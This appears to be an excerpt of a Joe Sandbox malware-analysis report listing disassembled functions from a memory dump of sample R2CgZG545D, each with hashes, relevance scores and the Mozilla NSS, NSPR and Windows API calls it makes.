Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: bf63dc2ae8a50493e0481cf5c64fb7290e1d4d26b156bd2e5b67ce479ae47332
Instruction ID: d649e1b599ad03b40c3d8ead4af0926a118f14b0f2174a2f6b7cfc6ea69dcc6a
Opcode Fuzzy Hash: bf63dc2ae8a50493e0481cf5c64fb7290e1d4d26b156bd2e5b67ce479ae47332
Instruction Fuzzy Hash: AD61D3B1F042058BDB08CF65CA407EEB7B2AF45308F284165D815BB751E736DC55CBA9

Function 6C678F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C677313), ref: 6C678FBB

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C677313), ref: 6C679012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C677313), ref: 6C67903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C677313), ref: 6C67909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C677313), ref: 6C6790DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C677313), ref: 6C6790F1

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C677313), ref: 6C67906B

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C677313), ref: 6C679128

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 8d94f031be449903466960026a71b6aa99c30fa981f51eb85453e377ea45f305
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 6C51BE71A002018BEB20CF6ADC48B66B3F5AF4531CF154829E915D7B61EB32E810CBB9

Function 6C629C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C628850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C630715), ref: 6C628859
Part of subcall function 6C628850: PR_NewLock.NSS3 ref: 6C628874
Part of subcall function 6C628850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C62888D

PR_NewLock.NSS3 ref: 6C629CAD

Part of subcall function 6C6D98D0: calloc.MOZGLUE(00000001,00000084,6C600936,00000001,?,6C60102C), ref: 6C6D98E5

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

TlsGetValue.KERNEL32 ref: 6C629CE8
EnterCriticalSection.KERNEL32(?,?,6C62ECEC,6C632FCD,00000000,?,6C632FCD,?), ref: 6C629D01
TlsGetValue.KERNEL32(?,?,?,6C62ECEC,6C632FCD,00000000,?,6C632FCD,?), ref: 6C629D38
EnterCriticalSection.KERNEL32(?,?,6C62ECEC,6C632FCD,00000000,?,6C632FCD,?), ref: 6C629D4D
PR_Unlock.NSS3 ref: 6C629D70
PR_Unlock.NSS3 ref: 6C629DC3
PR_NewLock.NSS3 ref: 6C629DDD

Part of subcall function 6C6288D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C630725,00000000,00000058), ref: 6C628906
Part of subcall function 6C6288D0: EnterCriticalSection.KERNEL32(?), ref: 6C62891A
Part of subcall function 6C6288D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C62894A
Part of subcall function 6C6288D0: calloc.MOZGLUE(00000001,6C63072D,00000000,00000000,00000000,?,6C630725,00000000,00000058), ref: 6C628959
Part of subcall function 6C6288D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C628993
Part of subcall function 6C6288D0: PR_Unlock.NSS3(?), ref: 6C6289AF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: f2050487cb8ed959fc86369e9f59bf739a97c1f9884256dd0ca1602994553d77
Instruction ID: 30a2e8d1f4e80ad941d76af46fcfb5d64a6954d933df88a0da4403a659316fc3
Opcode Fuzzy Hash: f2050487cb8ed959fc86369e9f59bf739a97c1f9884256dd0ca1602994553d77
Instruction Fuzzy Hash: 1B516271A04B058FDB00EF78C4846AABBF0BF8535DF158969D8989B710DB38E844CF99

Function 6C729EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C729EC0
EnterCriticalSection.KERNEL32(?), ref: 6C729EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C729F73
EnterCriticalSection.KERNEL32(?), ref: 6C729FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C729FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C729FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C72A01D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: f8273931145db8a2a0131bdce2565a1326dcfda22e3e57f580cc52b4714a2def
Instruction ID: 7fce61c67221dde8f825f4813bbb7080dc6c21d5130ebbd5d79a5cc7d167851a
Opcode Fuzzy Hash: f8273931145db8a2a0131bdce2565a1326dcfda22e3e57f580cc52b4714a2def
Instruction Fuzzy Hash: 3A51F2B6800200DBCB209F21C48464AB7F4FF15319F1A867AD85957B56EB34F885CBD5

Function 6C61DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C61DCFA

Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C61DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C61DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C61DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C61DD8F

Part of subcall function 6C6306A0: TlsGetValue.KERNEL32 ref: 6C6306C2
Part of subcall function 6C6306A0: EnterCriticalSection.KERNEL32(?), ref: 6C6306D6
Part of subcall function 6C6306A0: PR_Unlock.NSS3 ref: 6C6306EB

CERT_DestroyCertificate.NSS3(?), ref: 6C61DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C61DDB7

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 2204f659b6170f2dd517eccd7dfc7b2816dae52aaa683314c579dd8aa112f820
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 6D218EB6E051259BDF029EA8DC809DEB7B4AF0631AB144024E818A7B11E721E915CBE9

Function 6C6A5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5F72

Part of subcall function 6C60ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C60ED8F
Part of subcall function 6C60ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C60ED9E
Part of subcall function 6C60ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C60EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5FCC
free.MOZGLUE(?,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5FF4
free.MOZGLUE(?,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6AAADB,?,?,?,?,?,?,?,?,00000000,?,6C6A80C1), ref: 6C6A6036

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 95eff465cebed5ddbe67d09d02cd7b8d6abd70f668049256b742adb53aa0ea56
Instruction ID: 452893acd02f32805f6394cd52129643aa70d600a65ac5c8fe72200e9fc3501b
Opcode Fuzzy Hash: 95eff465cebed5ddbe67d09d02cd7b8d6abd70f668049256b742adb53aa0ea56
Instruction Fuzzy Hash: 85214DF1605B009BEA10DFB5DD08BD377E8AB46709F100828E4AE87640E736E419CB95

Function 6C720860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C72086C

Part of subcall function 6C720930: EnterCriticalSection.KERNEL32(?,00000000,?,6C720C83), ref: 6C72094F
Part of subcall function 6C720930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C720C83), ref: 6C720974
Part of subcall function 6C720930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720983
Part of subcall function 6C720930: _PR_MD_UNLOCK.NSS3(?,?,6C720C83), ref: 6C72099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C72087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C720892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C72798A), ref: 6C7208AA
free.MOZGLUE(?,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C7208C7
free.MOZGLUE(?,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C7208E9
free.MOZGLUE(?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C7208EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C727AE2,?,?,?,?,?,?,6C72798A), ref: 6C72090E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 6f3b3b0825128a5cd4971ee24f2be5e1122a27ee0b3252987ed07d2f2676b831
Instruction ID: 6f93e8042dc7f4bb6986248b77250490c58e8b18a54fe24ed0c15ac153febf0a
Opcode Fuzzy Hash: 6f3b3b0825128a5cd4971ee24f2be5e1122a27ee0b3252987ed07d2f2676b831
Instruction Fuzzy Hash: 461190B1B023644BEF01AB6ADEA67573778EB42758F190134E40AC7640DF35E8048BF2

Function 6C613C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C68460B,?,?), ref: 6C613CA9
EnterCriticalSection.KERNEL32(?), ref: 6C613CB9
PL_HashTableLookup.NSS3(?), ref: 6C613CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C613CD6
PR_Unlock.NSS3 ref: 6C613CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C613CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C613D03
PR_Unlock.NSS3 ref: 6C613D15

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 226c5f46644c3ad2fcfb3c4746c17aebc707583de62edeadb2c85c7f0ac27ad4
Instruction ID: 5f510a6bd316a93ddd68cfb74224ae8608240c4ccb2fc892c368a53dce2e4c65
Opcode Fuzzy Hash: 226c5f46644c3ad2fcfb3c4746c17aebc707583de62edeadb2c85c7f0ac27ad4
Instruction Fuzzy Hash: 59112C76E04114A7DB012638DC099A63AB8EB0335EF144130ED1DA3B11FB21D958C7E9

Function 6C72B850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6C727AF9,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72B862
free.MOZGLUE(?,?,6C727AF9,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72B869
DeleteCriticalSection.KERNEL32(?,00000000,?,6C727AF9,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72B88A
free.MOZGLUE(?,?,6C727AF9,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72B891
DeleteCriticalSection.KERNEL32(6C72798A), ref: 6C72B8B9
free.MOZGLUE(?), ref: 6C72B8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6C727AF9,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72B8E1
free.MOZGLUE(?,?,6C727AF9,?,?,?,?,?,?,?,?,6C72798A), ref: 6C72B8E8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: d85de5fe8dec10ef9d48e2bf5eccda147371dfa9b717e2c4345340539353a2f1
Instruction ID: 57429feb5b1e406063dd0498763fe9a7c83f9f7a9bf764887e2785badca6cd28
Opcode Fuzzy Hash: d85de5fe8dec10ef9d48e2bf5eccda147371dfa9b717e2c4345340539353a2f1
Instruction Fuzzy Hash: D81130B1A02B24DBDF11EFA2C80C7563778FB0A755F044139E52A57600D335E555CBE5

Function 6C619C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6311C0: PR_NewLock.NSS3 ref: 6C631216

free.MOZGLUE(?), ref: 6C619E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C619E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C619E4E
TlsGetValue.KERNEL32 ref: 6C619EA2

Part of subcall function 6C629500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C629546

EnterCriticalSection.KERNEL32(?), ref: 6C619EB6
PR_Unlock.NSS3 ref: 6C619ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C619F18

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 96373e1a264a8fe59027d1aaa6bfb33378f479710839b8552f20ff0c248cece6
Instruction ID: 2341a7c94c4a2a4dab8358cc9dbecfba73210133e73e2a00f31cf954f615ce6b
Opcode Fuzzy Hash: 96373e1a264a8fe59027d1aaa6bfb33378f479710839b8552f20ff0c248cece6
Instruction Fuzzy Hash: FB81F7B1A04601ABEB019F38DC40AAB77E5BF4634DF144528EC4987F41FB31E915CBA9

Function 6C62DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB10: DeleteCriticalSection.KERNEL32(D958E852,6C631397,5B5F5EC0,?,?,6C62B1EE,2404110F,?,?), ref: 6C62AB3C
Part of subcall function 6C62AB10: free.MOZGLUE(D958E836,?,6C62B1EE,2404110F,?,?), ref: 6C62AB49
Part of subcall function 6C62AB10: DeleteCriticalSection.KERNEL32(5D5E6C82), ref: 6C62AB5C
Part of subcall function 6C62AB10: free.MOZGLUE(5D5E6C76), ref: 6C62AB63
Part of subcall function 6C62AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C62AB6F
Part of subcall function 6C62AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C62AB76

TlsGetValue.KERNEL32 ref: 6C62DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C62DD0E
PK11_IsFriendly.NSS3(?), ref: 6C62DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C62DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C62DEA6
PR_Unlock.NSS3(?), ref: 6C62DF08

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 7fdfc86d06853819a6125b94102785e89c7b5382ab3edcb366d09798971a920c
Instruction ID: 20637a4f74bb839a7ea6cccd73302cfd9cd46902343babd301bfcd3a254dfd15
Opcode Fuzzy Hash: 7fdfc86d06853819a6125b94102785e89c7b5382ab3edcb366d09798971a920c
Instruction Fuzzy Hash: 1991F5B5E002059FDB00CF68C881BAAB7B1FF55309F248029DC199B752E739E906CF99

Function 6C5E5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C6CBB62,00000004,6C734CA4,?,?,00000000,?,?,6C5A31DB), ref: 6C5E60AB
sqlite3_config.NSS3(00000004,6C734CA4,6C6CBB62,00000004,6C734CA4,?,?,00000000,?,?,6C5A31DB), ref: 6C5E60EB
sqlite3_config.NSS3(00000012,6C734CC4,?,?,6C6CBB62,00000004,6C734CA4,?,?,00000000,?,?,6C5A31DB), ref: 6C5E6122

Strings

misuse, xrefs: 6C5E609F
%s at line %d of [%.10s], xrefs: 6C5E60A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6095

Memory Dump Source

